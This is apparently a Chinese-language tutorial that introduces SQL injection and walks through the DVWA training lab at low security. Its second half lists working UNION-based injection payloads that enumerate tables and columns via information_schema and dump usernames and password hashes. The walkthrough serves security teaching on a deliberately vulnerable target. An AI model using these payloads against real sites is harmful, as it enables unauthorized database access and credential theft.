sql注入简介
SQL注入漏洞是Web层面最高位的漏洞之一。所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击。当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。
dvwa靶场实战
这里以DVWA的sql注入靶场为例,安全等级为low
1.分析源码,可以看到没有对参数做任何的过滤,直接带入数据库进行查询,分析sql查询语句,可能存在字符型sql注入。
2.判断sql是否存在存入,以及注入的类型
1’ and ‘1’='1
3.猜解SQL查询语句中的字段数
1’ order by 2#
1’ order by 3#
从上面查询后得到的两个图可以说明,SQL语句查询的表的字段数是2
4.确定显示的位置(SQL语句查询之后的回显位置)
1’ union select 1,2#
下图可以看出有2个回显
5.查询当前的数据库,以及版本
1’ union select version(),database()#
6.获取数据库中的表
1’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
7.获取表中的字段名
1’ union select 1, group_concat(column_name) from information_schema.columns where table_name=‘users’#
8.获得字段中的数据
1’ union select user,password from users#
成功